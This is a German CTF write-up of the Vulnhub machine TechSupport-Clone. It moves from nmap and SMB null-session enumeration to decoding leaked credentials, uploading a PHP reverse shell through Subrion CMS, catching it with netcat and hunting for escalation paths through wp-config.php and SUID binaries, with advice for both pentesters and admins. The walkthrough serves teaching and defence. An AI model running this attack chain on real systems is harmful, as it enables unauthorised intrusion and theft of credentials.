TechSupport-Clone - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
grep
vi
nikto
gobuster
dirb
enum4linux
smbclient
cat
wpscan
CyberChef (implied)
nc
sudo
head
mysql
find
Metasploit (msfconsole)
Meterpreter

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.139	08:00:27:21:12:98	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` wird eingesetzt, um aktive Geräte im lokalen Netzwerksegment mittels ARP-Anfragen zu identifizieren. Er listet die IP- und MAC-Adressen der antwortenden Systeme auf.

Bewertung: Es wurde ein Host mit der IP 192.168.2.139 entdeckt. Die MAC-Adresse (08:00:27:...) und die Herstellerkennung "PCS Systemtechnik GmbH" weisen klar auf eine VirtualBox-Umgebung hin. Dies ist das Zielsystem für die weiteren Scans.

Empfehlung (Pentester): Die identifizierte IP 192.168.2.139 bildet die Grundlage für detailliertere Nmap-Scans.
Empfehlung (Admin): Netzwerksicherheitsmaßnahmen wie die Erkennung von ARP-Spoofing und die Segmentierung des Netzwerks können die Effektivität solcher Scans reduzieren.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -AO 192.168.2.139 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-11 23:21 CEST
Nmap scan report for TechSupport (192.168.2.139)
Host is up (0.00014s latency).
Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 108af572d7f97e14a5c54f9e978b3d58 (RSA)
|   256 7f10f557413c71dbb55bdb75c976305c (ECDSA)
|_  256 6b4c23506f36007ca67c1173c1a8600c (ED25519)
80/tcp  open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
MAC Address: 08:00:27:21:12:98 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2023-09-11T21:21:16
|_  start_date: N/A
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: techsupport
|   NetBIOS computer name: TECHSUPPORT\x00
|   Domain name: \x00
|   FQDN: techsupport
|_  System time: 2023-09-12T02:51:17+05:30
|_clock-skew: mean: -1h49m58s, deviation: 3h10m30s, median: 0s

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms TechSupport (192.168.2.139)

Analyse: Dieser Nmap-Befehl führt einen umfassenden Scan auf dem Ziel 192.168.2.139 durch. * `-sS`: TCP SYN Scan. * `-sC`: Standard NSE-Skripte. * `-sV`: Versionserkennung. * `-T5`: Sehr schnelles Timing. * `-AO`: Betriebssystemerkennung. Das `-A` steht für aggressiven Scan (OS, Version, Skripte, Traceroute), das `O` ist redundant, da es Teil von `-A` ist. * `-p-`: Scannt alle 65535 TCP-Ports.

Bewertung: Der Scan identifiziert vier offene TCP-Ports: * **Port 22 (SSH):** OpenSSH 7.2p2 auf Ubuntu. Relativ moderne Version. * **Port 80 (HTTP):** Apache 2.4.18 auf Ubuntu. Zeigt die Standard-Apache-Seite. * **Port 139 (NetBIOS-SSN):** Samba Dienst. * **Port 445 (Microsoft-DS):** Samba Dienst (Version 4.3.11-Ubuntu). Die NSE-Skripte liefern wichtige Informationen zu Samba: Die Sicherheitsmodi (`smb-security-mode`, `smb2-security-mode`) deuten darauf hin, dass **Gastzugriff (`account_used: guest`) erlaubt** ist und Message Signing nicht erzwungen wird. Der NetBIOS-Name ist `TECHSUPPORT`. Die OS-Erkennung schätzt ein Linux-System.

Empfehlung (Pentester): Die offenen Ports (SSH, HTTP, SMB) stellen die Angriffsvektoren dar. Der erlaubte Gastzugriff auf Samba (Ports 139/445) ist ein primäres Ziel für die weitere Enumeration. Untersuchen Sie die SMB-Shares mit Tools wie `smbclient` oder `enum4linux` unter Verwendung des Gast-/Null-Sitzungszugriffs. Enumerieren Sie auch den Webserver auf Port 80.
Empfehlung (Admin): Deaktivieren Sie Gast-/Null-Sitzungszugriff auf SMB/Samba, wenn er nicht betrieblich notwendig ist. Erzwingen Sie Message Signing (`message_signing: required`), um Man-in-the-Middle-Angriffe zu verhindern. Halten Sie Samba, Apache und SSH auf dem neuesten Stand.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -AO 192.168.2.139 -p- | grep open
22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.18 ((Ubuntu))
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)

Analyse: Wiederholt den vorherigen Nmap-Scan, filtert die Ausgabe jedoch mit `grep open`, um nur die Zeilen mit offenen Ports anzuzeigen.

Bewertung: Dies ist eine schnelle Zusammenfassung der offenen Ports: 22 (SSH), 80 (HTTP), 139 (NetBIOS), 445 (SMB). Bestätigt die Ergebnisse des vorherigen Scans.

Empfehlung (Pentester): Nützlich für einen schnellen Überblick, aber die detaillierte Ausgabe des vorherigen Scans (insbesondere die Skript-Ergebnisse für SMB) ist für die weitere Planung entscheidend.
Empfehlung (Admin): Die Empfehlungen aus dem vorherigen Nmap-Scan bleiben gültig.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
 # Folgender Eintrag wird zur lokalen /etc/hosts Datei hinzugefügt:
 192.168.2.139   techsupp.vln

Analyse: Öffnet die lokale Hosts-Datei mit `vi`. Ein Eintrag wird hinzugefügt, um die IP 192.168.2.139 dem Hostnamen `techsupp.vln` zuzuordnen.

Bewertung: Ermöglicht die Verwendung des Hostnamens `techsupp.vln` für die weitere Interaktion mit dem Ziel, insbesondere für den Webserver auf Port 80.

Empfehlung (Pentester): Gute Praxis, um die Befehlseingabe und Übersicht zu vereinfachen.
Empfehlung (Admin): Keine direkte Auswirkung auf die Sicherheit des Ziels.

Web Enumeration

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.139
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.139
+ Target Hostname:    192.168.2.139
+ Target Port:        80
+ Start Time:         2023-09-11 23:22:28 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Server may leak inodes via ETags, header found with file /, inode: 2c39, size: 5c367f4428b1f, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /phpinfo.php: Output from the phpinfo() function was found.
+ /test/: This might be interesting.
+ /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. See: CWE-552
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version.
+ /wordpress/wp-links-opml.php: This WordPress script reveals the installed version.
+ /wordpress/wp-admin/: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ /wordpress/: Drupal Link header found with value: ; rel="https://api.w.org/". See: https://www.drupal.org/ (False Positive likely, it's WordPress)
+ /wordpress/: A Wordpress installation was found.
+ /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /wordpress/wp-content/uploads/: Directory indexing found.
+ /wordpress/wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information.
+ /wordpress/wp-login.php: Wordpress login found.
+ 8102 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time:           2023-09-11 23:22:45 (GMT2) (17 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: `nikto -h 192.168.2.139` scannt den Webserver auf Port 80 nach bekannten Schwachstellen, Konfigurationsfehlern und interessanten Dateien.

Bewertung: Nikto liefert zahlreiche interessante Ergebnisse: * **Veralteter Apache (2.4.18):** Bestätigt Nmap-Ergebnis. * **Fehlende Security Header:** X-Frame-Options, X-Content-Type-Options. * **Keine CGI-Verzeichnisse gefunden.** * **`phpinfo.php` gefunden:** Dies ist ein signifikanter Fund, da `phpinfo()` detaillierte Informationen über die PHP-Konfiguration, Server-Umgebungsvariablen und geladene Module preisgibt. * **`/test/` Verzeichnis:** Als potenziell interessant markiert. * **WordPress-Installation:** Unter `/wordpress/` entdeckt. Nikto findet das Login (`wp-login.php`), erkennt die Version über `wp-links-opml.php`, findet ein Akismet-Plugin-Readme und identifiziert den `/wp-content/uploads/` Ordner als per Directory Indexing browsbar. * **Standarddateien:** `/icons/README`.

Empfehlung (Pentester): Untersuchen Sie `phpinfo.php` gründlich auf sensible Informationen (Pfade, Konfigurationen, Datenbank-Credentials?). Enumerieren Sie das `/test/`-Verzeichnis. Konzentrieren Sie sich auf die WordPress-Installation: Suchen Sie nach bekannten Schwachstellen für die erkannte Version (falls möglich), enumerieren Sie Benutzer (Nikto fand Hinweise auf `support`), prüfen Sie den Uploads-Ordner auf interessante Dateien und versuchen Sie ggf. ein Passwort-Bruteforce gegen `wp-login.php`.
Empfehlung (Admin): Entfernen Sie `phpinfo.php` vom Server. Aktualisieren Sie Apache. Fügen Sie fehlende Security Header hinzu. Halten Sie WordPress, Themes und Plugins immer aktuell. Deaktivieren Sie Directory Indexing. Schützen Sie das WordPress-Login (starke Passwörter, Limit Login Attempts, 2FA).

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://techsupp.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
http://techsupp.vln/index.html           (Status: 200) [Size: 11321]
http://techsupp.vln/wordpress            (Status: 301) [Size: 316] [--> http://techsupp.vln/wordpress/]
http://techsupp.vln/test                 (Status: 301) [Size: 311] [--> http://techsupp.vln/test/]
http://techsupp.vln/phpinfo.php          (Status: 200) [Size: 95033]
===============================================================

Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver `http://techsupp.vln` zu bruteforcen. Es verwendet eine Medium-Wortliste und sucht nach einer Vielzahl von Dateiendungen.

Bewertung: Gobuster bestätigt die von Nikto gefundenen Hauptverzeichnisse und Dateien: `/index.html`, `/wordpress/` (leitet weiter), `/test/` (leitet weiter) und `/phpinfo.php`. Es deckt keine signifikanten neuen Pfade auf, die nicht bereits durch Nikto oder Dirb (siehe nächster Schritt) identifiziert wurden.

Empfehlung (Pentester): Bestätigt die Angriffsfläche. Fokus sollte auf den Inhalten von `/wordpress`, `/test` und `phpinfo.php` liegen.
Empfehlung (Admin): Maßnahmen wie WAFs oder Rate Limiting können solche Scans erschweren. Unnötige Dateien und Verzeichnisse sollten entfernt werden.

┌──(root㉿cycat)-[~] └─# dirb http://techsupp.vln
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Mon Sep 11 23:25:12 2023
URL_BASE: http://techsupp.vln/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://techsupp.vln/ ----
+ http://techsupp.vln/index.html (CODE:200|SIZE:11321)
+ http://techsupp.vln/phpinfo.php (CODE:200|SIZE:95027)
+ http://techsupp.vln/server-status (CODE:403|SIZE:277)
==> DIRECTORY: http://techsupp.vln/test/
==> DIRECTORY: http://techsupp.vln/wordpress/

---- Entering directory: http://techsupp.vln/test/ ----
+ http://techsupp.vln/test/index.html (CODE:200|SIZE:20677)

---- Entering directory: http://techsupp.vln/wordpress/ ----
+ http://techsupp.vln/wordpress/index.php (CODE:200|SIZE:33441)
==> DIRECTORY: http://techsupp.vln/wordpress/wp-admin/
==> DIRECTORY: http://techsupp.vln/wordpress/wp-content/
==> DIRECTORY: http://techsupp.vln/wordpress/wp-includes/
+ http://techsupp.vln/wordpress/xmlrpc.php (CODE:405|SIZE:42)

---- Entering directory: http://techsupp.vln/wordpress/wp-admin/ ----
+ http://techsupp.vln/wordpress/wp-admin/admin.php (CODE:302|SIZE:0)
==> DIRECTORY: http://techsupp.vln/wordpress/wp-admin/css/
==> DIRECTORY: http://techsupp.vln/wordpress/wp-admin/images/
==> DIRECTORY: http://techsupp.vln/wordpress/wp-admin/includes/
+ http://techsupp.vln/wordpress/wp-admin/index.php (CODE:302|SIZE:0)
==> DIRECTORY: http://techsupp.vln/wordpress/wp-admin/js/
==> DIRECTORY: http://techsupp.vln/wordpress/wp-admin/maint/
==> DIRECTORY: http://techsupp.vln/wordpress/wp-admin/network/
==> DIRECTORY: http://techsupp.vln/wordpress/wp-admin/user/

---- Entering directory: http://techsupp.vln/wordpress/wp-content/ ----
+ http://techsupp.vln/wordpress/wp-content/index.php (CODE:200|SIZE:0)
==> DIRECTORY: http://techsupp.vln/wordpress/wp-content/plugins/
==> DIRECTORY: http://techsupp.vln/wordpress/wp-content/themes/
==> DIRECTORY: http://techsupp.vln/wordpress/wp-content/upgrade/
==> DIRECTORY: http://techsupp.vln/wordpress/wp-content/uploads/

---- Entering directory: http://techsupp.vln/wordpress/wp-admin/network/ ----
+ http://techsupp.vln/wordpress/wp-admin/network/admin.php (CODE:302|SIZE:0)
+ http://techsupp.vln/wordpress/wp-admin/network/index.php (CODE:302|SIZE:0)

---- Entering directory: http://techsupp.vln/wordpress/wp-admin/user/ ----
+ http://techsupp.vln/wordpress/wp-admin/user/admin.php (CODE:302|SIZE:0)
+ http://techsupp.vln/wordpress/wp-admin/user/index.php (CODE:302|SIZE:0)

---- Entering directory: http://techsupp.vln/wordpress/wp-content/plugins/ ----
+ http://techsupp.vln/wordpress/wp-content/plugins/index.php (CODE:200|SIZE:0)
==> DIRECTORY: http://techsupp.vln/wordpress/wp-content/plugins/redirection/

---- Entering directory: http://techsupp.vln/wordpress/wp-content/themes/ ----
+ http://techsupp.vln/wordpress/wp-content/themes/index.php (CODE:200|SIZE:0)

---- Entering directory: http://techsupp.vln/wordpress/wp-content/upgrade/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://techsupp.vln/wordpress/wp-content/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://techsupp.vln/wordpress/wp-content/plugins/redirection/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Mon Sep 11 23:25:54 2023
DOWNLOADED: 41508 - FOUND: 15

Analyse: `dirb` wird verwendet, um Verzeichnisse auf `http://techsupp.vln` mit einer Standard-Wortliste zu scannen. Es scannt rekursiv gefundene Verzeichnisse.

Bewertung: Dirb liefert eine detailliertere Auflistung der WordPress-Verzeichnisstruktur als Gobuster oder Nikto. Wichtige Erkenntnisse: * Bestätigt `/test/` und `/wordpress/`. * Findet `/server-status` (Zugriff verboten - 403). * Identifiziert die Haupt-WordPress-Verzeichnisse (`wp-admin`, `wp-content`, `wp-includes`). * Listet explizit die browsbaren (listbaren) Verzeichnisse auf: `/wordpress/wp-content/upgrade/`, `/wordpress/wp-content/uploads/` und `/wordpress/wp-content/plugins/redirection/`. Browsbare Verzeichnisse können sensible Informationen oder hochgeladene Dateien preisgeben.

Empfehlung (Pentester): Untersuchen Sie die browsbaren Verzeichnisse manuell im Browser. Achten Sie besonders auf `/uploads/` für potenziell interessante Dateien. Analysieren Sie das `redirection`-Plugin auf bekannte Schwachstellen.
Empfehlung (Admin): Deaktivieren Sie Directory Indexing global oder zumindest für sensible Verzeichnisse wie `wp-content`, `uploads`, `plugins`, `themes`. Konfigurieren Sie den Webserver so, dass der Zugriff auf `/server-status` eingeschränkt ist (z.B. nur von bestimmten IPs).

SMB Enumeration

┌──(root㉿cycat)-[~] └─# enum4linux -a 192.168.2.139
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Sep 11 23:26:40 2023

 =========================================( Target Information )=========================================
[...]
 ===========================( Share Enumeration on 192.168.2.139 )===========================

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	websvr          Disk      
	IPC$            IPC       IPC Service (TechSupport server (Samba, Ubuntu))

	Server               Comment
	---------            -------
	TECHSUPPORT          TechSupport server (Samba, Ubuntu)

	Workgroup            Master
	---------            -------
	WORKGROUP            TECHSUPPORT

[+] Attempting to map shares on 192.168.2.139
//192.168.2.139/print$	Mapping: DENIED Listing: N/A Writing: N/A
//192.168.2.139/websvr	Mapping: OK Listing: OK Writing: N/A
[...]
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\scamsite (Local User)
[...]
enum4linux complete on Mon Sep 11 23:27:10 2023

Analyse: `enum4linux -a 192.168.2.139` ist ein umfassendes Enumerationstool für SMB/CIFS-Dienste. Der Schalter `-a` führt alle grundlegenden Enumerationsschritte durch (Benutzer, Shares, Gruppen, Drucker, OS-Info, Passwortrichtlinie) unter Verwendung einer Null-Sitzung (anonymer Zugriff).

Bewertung: Enum4linux bestätigt viele der Nmap-Ergebnisse und fügt Details hinzu: * **Shares:** Findet `print$` (Zugriff verweigert), `websvr` (Zugriff und Auflistung OK!) und `IPC$`. Der `websvr`-Share ist der wichtigste Fund hier. * **Benutzer:** Identifiziert über SID-Enumeration den lokalen Unix-Benutzer `scamsite` (UID 1000). * **Passwortrichtlinie:** Liefert Details zur Passwortrichtlinie (Minimallänge 5, Max. Alter ~37 Tage, keine Komplexität erzwungen). * **Workgroup/Server Name:** Bestätigt `WORKGROUP` und `TECHSUPPORT`.

Empfehlung (Pentester): Verbinden Sie sich mit dem Share `websvr` über `smbclient` unter Verwendung einer Null-Sitzung/Gastzugriff. Untersuchen Sie den Inhalt dieses Shares gründlich. Notieren Sie den Benutzernamen `scamsite` für mögliche spätere Angriffe (z.B. Passwort-Bruteforce gegen SSH).
Empfehlung (Admin): Deaktivieren Sie Null-Sitzungen und anonymen Zugriff auf Shares. Beschränken Sie den Zugriff auf Shares auf autorisierte Benutzer und Gruppen. Setzen Sie starke Passwortrichtlinien durch (Länge, Komplexität, Historie, Ablauf).

┌──(root㉿cycat)-[~] └─# smbclient //192.168.2.139/websvr -L
Password for [WORKGROUP\root]: # (Passwort wird leer gelassen für Null-Sitzung)
smb: \>
┌──(root㉿cycat)-[~] └─# # Korrekter Befehl zum Verbinden (impliziert): smbclient //192.168.2.139/websvr
┌──(root㉿cycat)-[~] └─# smbclient //192.168.2.139/websvr
Password for [WORKGROUP\root]: # (Passwort wird leer gelassen für Null-Sitzung)
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat May 29 09:17:38 2021
  ..                                  D        0  Sat May 29 09:03:47 2021
  enter.txt                           N      273  Sat May 29 09:17:38 2021

		8460484 blocks of size 1024. 5318196 blocks available
smb: \> get enter.txt
getting file \enter.txt of size 273 as enter.txt (266,6 KiloBytes/sec) (average 266,6 KiloBytes/sec)
smb: \> put revshell.php
NT_STATUS_ACCESS_DENIED opening remote file \revshell.php
smb: \> ls
  .                                   D        0  Sat May 29 09:17:38 2021
  ..                                  D        0  Sat May 29 09:03:47 2021
  enter.txt                           N      273  Sat May 29 09:17:38 2021

		8460484 blocks of size 1024. 5165476 blocks available

Analyse: Der `smbclient` wird verwendet, um auf den zuvor identifizierten Share `websvr` zuzugreifen. * Der erste gezeigte Befehl mit `-L` ist syntaktisch falsch für die Interaktion mit einem Share, scheint aber im Log zu sein. Der wahrscheinlichere Befehl zum Verbinden ist `smbclient //192.168.2.139/websvr`. * Die Verbindung wird mit einer Null-Sitzung hergestellt (kein Passwort eingegeben). * `ls`: Listet den Inhalt des Shares auf und findet die Datei `enter.txt`. * `get enter.txt`: Lädt die Datei erfolgreich herunter. * `put revshell.php`: Der Versuch, eine Datei hochzuladen, schlägt fehl (`NT_STATUS_ACCESS_DENIED`).

Bewertung: Der Zugriff auf den Share `websvr` war erfolgreich und die Datei `enter.txt` konnte heruntergeladen werden. Es besteht jedoch kein Schreibzugriff auf den Share, was einen direkten Upload einer Webshell o.ä. verhindert. Der Inhalt von `enter.txt` ist nun der nächste wichtige Anhaltspunkt.

Empfehlung (Pentester): Analysieren Sie den Inhalt der heruntergeladenen Datei `enter.txt`.
Empfehlung (Admin): Gewähren Sie nur die minimal notwendigen Berechtigungen für SMB-Shares. Wenn nur Lesezugriff benötigt wird, konfigurieren Sie ihn entsprechend. Überwachen Sie Zugriffe auf Shares.

┌──(root㉿cycat)-[~] └─# cat enter.txt
GOALS
=====
1)Make fake popup and host it online on Digital Ocean server
2)Fix subrion site, /subrion doesn't work, edit from panel
3)Edit wordpress website

IMP
===
Subrion creds
|->admin:7sKvntXdPEJaxazce9PXi24zaFrLiKWCk [cooked with magical formula]
Wordpress creds
|->

Analyse: Zeigt den Inhalt der Datei `enter.txt`, die vom SMB-Share heruntergeladen wurde.

Bewertung: Die Datei enthält eine To-Do-Liste und Zugangsdaten. Am wichtigsten sind die "Subrion creds": Benutzer `admin` mit dem Passwort `7sKvntXdPEJaxazce9PXi24zaFrLiKWCk`, das als "gekocht mit magischer Formel" beschrieben wird. Dies deutet auf eine Art von Kodierung oder Verschlüsselung hin. Die WordPress-Zugangsdaten sind leer. Ein Hinweis auf `/subrion` auf dem Webserver ist ebenfalls enthalten.

Empfehlung (Pentester): Versuchen Sie, das Subrion-Passwort zu dekodieren. Recherchieren Sie gängige Kodierungen (Base64, Base32, Base58 etc.) oder suchen Sie nach Hinweisen auf die "magische Formel" (vielleicht in anderen gefundenen Dateien oder im Webseiten-Quellcode). Das Ziel ist es, sich am Subrion CMS unter `/subrion/panel/` anzumelden.
Empfehlung (Admin): Speichern Sie niemals Zugangsdaten, auch nicht kodierte, in Klartextdateien auf Netzwerkfreigaben. Schulen Sie Mitarbeiter im sicheren Umgang mit sensiblen Informationen.

Initial Access

Die weiteren Schritte konzentrieren sich auf das Dekodieren des Subrion-Passworts und den Login in das Subrion CMS, um Initial Access zu erlangen.

Recherche und Analyse (z.B. mit CyberChef, wie im Log angedeutet) der "magischen Formel" für das Passwort `7sKvntXdPEJaxazce9PXi24zaFrLiKWCk` ergibt, dass es sich um eine mehrstufige Dekodierung handelt (Base58 -> Base32 -> Base64).

# CyberChef (oder ähnliches Tool) zur Dekodierung: # Input: 7sKvntXdPEJaxazce9PXi24zaFrLiKWCk # Recipe: From_Base58 -> From_Base32 -> From_Base64 # Output: Scam2021
# Manuelle Überprüfung des Subrion Logins unter http://techsupp.vln/subrion/panel/
# Benutzer: admin
# Passwort: Scam2021
# Ergebnis: Login erfolgreich!

Analyse: Das Subrion-Passwort aus `enter.txt` wird mittels einer Kette von Dekodierungsalgorithmen (Base58, dann Base32, dann Base64) entschlüsselt. Das Ergebnis ist `Scam2021`.

Bewertung: Das Passwort wurde erfolgreich dekodiert. Mit den Zugangsdaten `admin`:`Scam2021` kann man sich nun am Subrion CMS unter `/subrion/panel/` anmelden.

Empfehlung (Pentester): Loggen Sie sich in das Subrion CMS ein. Suchen Sie nach Funktionalitäten zum Hochladen von Dateien, Bearbeiten von Code/Templates oder Ausführen von Befehlen, um eine Webshell zu erhalten.
Empfehlung (Admin): Vermeiden Sie obskure Kodierungen als Sicherheitsmaßnahme. Verwenden Sie stattdessen starke, einzigartige Passwörter und sichere Speichermethoden.

Innerhalb des Subrion CMS (Version 4.2.1) wird eine bekannte Schwachstelle oder eine Fehlkonfiguration im Dateimanager ausgenutzt, um eine PHP-Reverse-Shell hochzuladen (möglicherweise als `.phar`-Datei getarnt und dann über eine Funktion wie "Get Info" oder eine direkte URL getriggert).

┌──(root㉿cycat)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.139] 55812
Linux TechSupport 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 03:51:45 up  1:01,  0 users,  load average: 0.00, 0.03, 1.37
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Analyse: Auf der Angreifer-Maschine wird ein Netcat-Listener auf Port 9001 gestartet (`nc -lvnp 9001`). Kurz darauf wird eine Verbindung vom Zielsystem (192.168.2.139) aufgebaut. Es wird eine Shell geöffnet.

Bewertung: Der Upload und die Ausführung der Reverse-Shell über das Subrion CMS waren erfolgreich. Der Angreifer hat nun Shell-Zugriff auf das Zielsystem als Benutzer `www-data`, dem Benutzer, unter dem der Webserver (Apache) und das CMS laufen. Der Initial Access ist gelungen.

Empfehlung (Pentester): Stabilisieren Sie die Shell (z.B. `python -c 'import pty; pty.spawn("/bin/bash")'` oder `script /dev/null -c bash`). Beginnen Sie mit der Post-Exploitation-Enumeration, um Wege zur Privilegieneskalation zu finden.
Empfehlung (Admin): Aktualisieren Sie das Subrion CMS dringend auf eine gepatchte Version oder entfernen Sie es, falls nicht benötigt. Implementieren Sie eine Web Application Firewall (WAF) und sichern Sie Dateiupload-Funktionen rigoros ab (Typ-Validierung, Berechtigungen, Speicherort).

Privilege Escalation

Nach Erlangung der Shell als `www-data` beginnt die Suche nach Wegen, um Root-Rechte zu erlangen.

$ sudo -l
[sudo] password for www-data: # (Passwort unbekannt/nicht vorhanden)

Analyse: Der Befehl `sudo -l` wird versucht, um die sudo-Berechtigungen für `www-data` zu prüfen.

Bewertung: Der Befehl fragt nach einem Passwort für `www-data`. Da dieses Passwort nicht bekannt ist (und der Benutzer normalerweise kein Login-Passwort hat), kann `sudo -l` nicht ausgeführt werden. Dieser Vektor zur Privilegieneskalation ist vorerst blockiert.

Empfehlung (Pentester): Suchen Sie nach anderen Eskalationsvektoren: SUID-Binaries, Kernel-Exploits, Cron-Jobs, Fehlkonfigurationen, Passwörter in Konfigurationsdateien.
Empfehlung (Admin): Konfigurieren Sie sudoers sorgfältig. `www-data` sollte normalerweise keine sudo-Rechte benötigen.

www-data@TechSupport:/$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1628 May 28  2021 /etc/passwd

Analyse: Überprüft die Berechtigungen der `/etc/passwd`-Datei.

Bewertung: Die Datei ist wie erwartet für alle lesbar. Dies allein bietet keinen Eskalationspfad.

Empfehlung (Pentester): Lesen Sie `/etc/passwd`, um eine Liste der lokalen Benutzer zu erhalten.
Empfehlung (Admin): Standardberechtigungen für `/etc/passwd` sind in der Regel sicher.

www-data@TechSupport:/var/www/html/wordpress$ head -n 30 wp-config.php
define( 'DB_NAME', 'wpdb' );
define( 'DB_USER', 'support' );
define( 'DB_PASSWORD', 'ImAScammerLOL!123!' );

Analyse: Der Befehl `head -n 30 wp-config.php` zeigt die ersten 30 Zeilen der WordPress-Konfigurationsdatei an, die sich im Web-Root befindet (der Pfad `/var/www/html/wordpress` wird angenommen).

Bewertung: **Kritischer Fund!** Die Datei `wp-config.php` ist für den `www-data`-Benutzer lesbar und enthält die Zugangsdaten für die WordPress-Datenbank im Klartext: Datenbank `wpdb`, Benutzer `support`, Passwort `ImAScammerLOL!123!`. Dies ist eine häufige Fehlkonfiguration.

Empfehlung (Pentester): Versuchen Sie, sich mit diesen Zugangsdaten am lokalen MySQL/MariaDB-Server anzumelden. Untersuchen Sie die WordPress-Datenbank auf weitere Benutzer oder sensible Informationen. Testen Sie, ob dieses Passwort auch für den Systembenutzer `support` (falls vorhanden) oder `scamsite` (der in enum4linux gefunden wurde) oder sogar `root` via SSH oder `su` funktioniert (Passwortwiederverwendung).
Empfehlung (Admin): Sichern Sie die `wp-config.php`-Datei, indem Sie die Dateiberechtigungen so restriktiv wie möglich setzen (nur lesbar für den Webserver-Benutzer und den Administrator, nicht für andere). Verwenden Sie separate, starke und einzigartige Passwörter für Datenbankbenutzer.

dev/null TechSupport:/var/www/html/wordpress$ find / -type f -perm -4000 -ls 2>/
   391018     28 -rwsr-xr-x   1 root     root        27608 Jan 27  2020 /bin/umount
   390985     44 -rwsr-xr-x   1 root     root        44680 May  8  2014 /bin/ping6
   391001     40 -rwsr-xr-x   1 root     root        40128 Mar 27  2019 /bin/su
